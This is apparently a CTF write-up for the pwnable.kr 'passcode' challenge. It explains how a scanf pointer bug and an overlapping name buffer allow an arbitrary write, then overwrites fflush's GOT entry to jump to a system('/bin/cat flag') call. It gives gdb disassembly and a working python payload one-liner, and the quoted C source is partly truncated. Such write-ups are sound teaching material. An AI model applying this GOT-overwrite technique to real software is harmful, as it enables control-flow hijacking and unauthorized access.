To my surprise, I’ve noticed that I have missed one previous challenge called passcode. Let’s come back to it.

[email protected]'s password: 
 ____  __    __  ____    ____  ____   _        ___      __  _  ____  
|    \|  |__|  ||    \  /    ||    \ | |      /  _]    |  |/ ]|    \ 
|  o  )  |  |  ||  _  ||  o  ||  o  )| |     /  [_     |  ' / |  D  )
|   _/|  |  |  ||  |  ||     ||     || |___ |    _]    |    \ |    / 
|  |  |  `  '  ||  |  ||  _  ||  O  ||     ||   [_  __ |     \|    \ 
|  |   \      / |  |  ||  |  ||     ||     ||     ||  ||  .  ||  .  \
|__|    \_/\_/  |__|__||__|__||_____||_____||_____||__||__|\_||__|\_|
- Site admin : [email protected]
- IRC : /
- Simply type "irssi" command to join IRC now
- files under /tmp can be erased anytime. make your directory under /tmp
- to use peda, issue `source /usr/share/peda/` in gdb terminal
Last login: Thu Jun 28 12:59:34 2018 from
[email protected]:~$ ls -la
total 36
drwxr-x---  5 root passcode     4096 Oct 23  2016 .
drwxr-xr-x 87 root root         4096 Dec 27 23:17 ..
d---------  2 root root         4096 Jun 26  2014 .bash_history
-r--r-----  1 root passcode_pwn   48 Jun 26  2014 flag
dr-xr-xr-x  2 root root         4096 Aug 20  2014 .irssi
-r-xr-sr-x  1 root passcode_pwn 7485 Jun 26  2014 passcode
-rw-r--r--  1 root root          858 Jun 26  2014 passcode.c
drwxr-xr-x  2 root root         4096 Oct 23  2016 .pwntools-cache

As we have the source code available to us, we can start by taking a look at it.

#include <stdio.h>
#include <stdlib.h>

void login(){
	int passcode1;
	int passcode2;

	printf("enter passcode1 : ");
	scanf("%d", passcode1);

	// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
	printf("enter passcode2 : ");
        scanf("%d", passcode2);

	if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
                printf("Login Failed!\n");

void welcome(){
	char name[100];
	printf("enter you name : ");
	scanf("%100s", name);
	printf("Welcome %s!\n", name);

int main(){
	printf("Toddler's Secure Login System 1.0 beta.\n");


	// something after login...
	printf("Now I can safely trust you that you have credential :)\n");
	return 0;	

From the start we can see two simple mistakes in login() function.

scanf("%d", passcode1);
scanf("%d", passcode2);

As we know, scanf() will read the data from stdin according to the format parameter and will store it in a location (where location is just an address of the variable) passed by the other parameters. So both passcode1 and passcode2 variables should be dereferenced in order to properly save the variables just like this.

scanf("%d", &passcode1);
scanf("%d", &passcode2);

So after that we know that solving this challenge by the classic mean of entering hardcoded password from source won’t work. Let’s fire up gdb to study this binary, looking for potential flaws.

[email protected]:~$ gdb ./passcode 
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
Find the GDB manual and other documentation resources online at:
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./passcode...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
   0x08048665 <+0>:	push   ebp
   0x08048666 <+1>:	mov    ebp,esp
   0x08048668 <+3>:	and    esp,0xfffffff0
   0x0804866b <+6>:	sub    esp,0x10
   0x0804866e <+9>:	mov    DWORD PTR [esp],0x80487f0
   0x08048675 <+16>:	call   0x8048450 <[email protected]>
   0x0804867a <+21>:	call   0x8048609 <welcome>
   0x0804867f <+26>:	call   0x8048564 <login>
   0x08048684 <+31>:	mov    DWORD PTR [esp],0x8048818
   0x0804868b <+38>:	call   0x8048450 <[email protected]>
   0x08048690 <+43>:	mov    eax,0x0
   0x08048695 <+48>:	leave  
   0x08048696 <+49>:	ret    
End of assembler dump.
(gdb) disas login
Dump of assembler code for function login:
   0x08048564 <+0>:	push   ebp
   0x08048565 <+1>:	mov    ebp,esp
   0x08048567 <+3>:	sub    esp,0x28
   0x0804856a <+6>:	mov    eax,0x8048770
   0x0804856f <+11>:	mov    DWORD PTR [esp],eax
   0x08048572 <+14>:	call   0x8048420 <[email protected]>
   0x08048577 <+19>:	mov    eax,0x8048783
   0x0804857c <+24>:	mov    edx,DWORD PTR [ebp-0x10]
   0x0804857f <+27>:	mov    DWORD PTR [esp+0x4],edx
   0x08048583 <+31>:	mov    DWORD PTR [esp],eax
   0x08048586 <+34>:	call   0x80484a0 <[email protected]>
   0x0804858b <+39>:	mov    eax,ds:0x804a02c
   0x08048590 <+44>:	mov    DWORD PTR [esp],eax
   0x08048593 <+47>:	call   0x8048430 <[email protected]>
   0x08048598 <+52>:	mov    eax,0x8048786
   0x0804859d <+57>:	mov    DWORD PTR [esp],eax
   0x080485a0 <+60>:	call   0x8048420 <[email protected]>
   0x080485a5 <+65>:	mov    eax,0x8048783
   0x080485aa <+70>:	mov    edx,DWORD PTR [ebp-0xc]
   0x080485ad <+73>:	mov    DWORD PTR [esp+0x4],edx
   0x080485b1 <+77>:	mov    DWORD PTR [esp],eax
   0x080485b4 <+80>:	call   0x80484a0 <[email protected]>
   0x080485b9 <+85>:	mov    DWORD PTR [esp],0x8048799
   0x080485c0 <+92>:	call   0x8048450 <[email protected]>
   0x080485c5 <+97>:	cmp    DWORD PTR [ebp-0x10],0x528e6
   0x080485cc <+104>:	jne    0x80485f1 <login+141>
   0x080485ce <+106>:	cmp    DWORD PTR [ebp-0xc],0xcc07c9
   0x080485d5 <+113>:	jne    0x80485f1 <login+141>
   0x080485d7 <+115>:	mov    DWORD PTR [esp],0x80487a5
   0x080485de <+122>:	call   0x8048450 <[email protected]>
   0x080485e3 <+127>:	mov    DWORD PTR [esp],0x80487af
   0x080485ea <+134>:	call   0x8048460 <[email protected]>
   0x080485ef <+139>:	leave  
   0x080485f0 <+140>:	ret    
   0x080485f1 <+141>:	mov    DWORD PTR [esp],0x80487bd
   0x080485f8 <+148>:	call   0x8048450 <[email protected]>
   0x080485fd <+153>:	mov    DWORD PTR [esp],0x0
   0x08048604 <+160>:	call   0x8048480 <[email protected]>
End of assembler dump.
(gdb) disas welcome
Dump of assembler code for function welcome:
   0x08048609 <+0>:	push   ebp
   0x0804860a <+1>:	mov    ebp,esp
   0x0804860c <+3>:	sub    esp,0x88
   0x08048612 <+9>:	mov    eax,gs:0x14
   0x08048618 <+15>:	mov    DWORD PTR [ebp-0xc],eax
   0x0804861b <+18>:	xor    eax,eax
   0x0804861d <+20>:	mov    eax,0x80487cb
   0x08048622 <+25>:	mov    DWORD PTR [esp],eax
   0x08048625 <+28>:	call   0x8048420 <[email protected]>
   0x0804862a <+33>:	mov    eax,0x80487dd

   0x0804863e <+53>:	mov    eax,0x80487e3
   0x08048643 <+58>:	lea    edx,[ebp-0x70]
   0x08048646 <+61>:	mov    DWORD PTR [esp+0x4],edx
   0x0804864a <+65>:	mov    DWORD PTR [esp],eax
   0x0804864d <+68>:	call   0x8048420 <[email protected]>
   0x08048652 <+73>:	mov    eax,DWORD PTR [ebp-0xc]
   0x08048655 <+76>:	xor    eax,DWORD PTR gs:0x14
   0x0804865c <+83>:	je     0x8048663 <welcome+90>
---Type <return> to continue, or q <return> to quit---
   0x0804865e <+85>:	call   0x8048440 <[email protected]>
   0x08048663 <+90>:	leave  
   0x08048664 <+91>:	ret    
End of assembler dump.

This is the disassembly of two functions that we’re going to mostly work on. We can analyze the welcome() function that will read username and pass it to the name variable. From assembly we can view the part of the code that will read the name.

   0x0804862f <+38>:	lea    edx,[ebp-0x70]
   0x08048632 <+41>:	mov    DWORD PTR [esp+0x4],edx
   0x08048636 <+45>:	mov    DWORD PTR [esp],eax
   0x08048639 <+48>:	call   0x80484a0 <[email protected]>

Here we can see instruction lea performed on edx and ebp-0x70. We can translate it just as load the effective address (calculate it) and store in the edx register. From that information, we know that variable ebp-0x70 is the name variable.

In the next function - welcome(), we can see the part that will make use of scanf() function.

   0x0804857c <+24>:	mov    edx,DWORD PTR [ebp-0x10]
   0x0804857f <+27>:	mov    DWORD PTR [esp+0x4],edx
   0x08048583 <+31>:	mov    DWORD PTR [esp],eax
   0x08048586 <+34>:	call   0x80484a0 <[email protected]>

But here, other than in previous example we don’t calculate the address of the variable passcode1, we just use it’s value with mov edx,DWORD PTR [ebp-0x10]. All the same with passcode2 - mov edx,DWORD PTR [ebp-0xc].

So what can we do with this information? After looking for a while, I noticed that the difference between name and passcode1 variable is smaller than 100, which is the size of the name buffer.

welcome = ebp-0x70
passcode1 = ebp-0x10
>>> 0x70 - 0x10

That way we can overwrite value of passcode1 by entering 96 characters in name, and using last 4 characters as the part for passcode1. In order to demonstrate it, we can set a breakpoint just before the first scanf() in login() function.

(gdb) break *0x08048583
Breakpoint 1 at 0x8048583

Now we can run the binary, with input consisting of 100 ‘A’ letters.

(gdb) run
Starting program: /home/passcode/passcode 
Toddler's Secure Login System 1.0 beta.
(gdb) x/s $ebp-0x10
0xff910158:	"AAAA"

See? These 4 ‘A’ letters are inside the passcode1 variable. But as we can’t modify the second variable, we still can’t solve this challenge. Let’s look at the source code once again.

int passcode1;
int passcode2;

printf("enter passcode1 : ");
scanf("%d", passcode1);

// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);

While looking at this part I’ve noticed a possiblity. As we can control what’s inside the the passcode1 variable, and the scanf() function that is supposed to write the value into the location at address presentend by the value of passcode1 variable, we are able to write some value into the any address in the binary. If you don’t understand, let’s break it down into simple steps.

  • We are able to enter the value into the passcode1 by filling the name buffer.
  • Function scanf() will place the value from stdin into the location of memory represented by the value of passcode.
  • Profit.

But now we have to find a suitable target for this technique. Here comes this very interesting exploit that will overwrite the GOT table of this binary. What is GOT?

Global Offset Table is a place in which binary stores the addresses of functions, that are unknown at compilation time and is updated at runtime by dynamic linker. Basically, functions like printf() have their addresses there because they are not static. That’s why dynamic linker will at runtime look for these addresses of these functions, and put them in GOT. If function is used once again, we only have to get the address from the GOT, no need to run dynamic linker twice.

For more information I encourage you to read these papers, as this is only droplet in the ocean of knowledge:

Now we can write down our full plan for attack. Firstly, we can use fflush() function as our victim that we can overwrite. Function that will be overwriting will be system("/bin/cat flag");. So we have to find addresses of both of them. Then we will pass to the passcode1 address of the fflush() function, by simply fullfilling the name buffer. After that using the first scanf() we will be ready to overwrite the fflush() function with system(). After that all should be ready.

But firstly, let’s find the address of the fflush(), what we can do with objudmp -R command.

Print the dynamic relocation entries of the file.  This is only
meaningful for dynamic objects, such as certain types of shared
libraries.  As for -r, if used with -d or -D, the relocations are
printed interspersed with the disassembly.
[email protected]:~$ objdump -R passcode
passcode:     file format elf32-i386

OFFSET   TYPE              VALUE 
08049ff0 R_386_GLOB_DAT    __gmon_start__
0804a02c R_386_COPY        [email protected]@GLIBC_2.0
0804a000 R_386_JUMP_SLOT   printf@GLIBC_2.0
0804a004 R_386_JUMP_SLOT   [email protected]_2.0
0804a008 R_386_JUMP_SLOT   [email protected]_2.4
0804a00c R_386_JUMP_SLOT   [email protected]_2.0
0804a010 R_386_JUMP_SLOT   [email protected]_2.0
0804a014 R_386_JUMP_SLOT   __gmon_start__
0804a018 R_386_JUMP_SLOT   exit@GLIBC_2.0
0804a01c R_386_JUMP_SLOT   [email protected]_2.0
0804a020 R_386_JUMP_SLOT   [email protected]_2.7

See? Here we have it 0804a004 R_386_JUMP_SLOT [email protected]_2.

Now from the previous disassembly, we cavn view the address of the system() function.

   0x080485e3 <+127>:	mov    DWORD PTR [esp],0x80487af
   0x080485ea <+134>:	call   0x8048460 <[email protected]>

And we’re ready to craft the payload - 96 ‘A’ letters, address of the fflush() function and to satisfy the scanf() - address of the system() function.

[email protected]:~$ python -c "print('A' * 96 + '\x04\xa0\x04\x08' + '134514147')" | ./passcode
Toddler's Secure Login System 1.0 beta.
Sorry mom.. I got confused about scanf usage :(
enter passcode1 : Now I can safely trust you that you have credential :)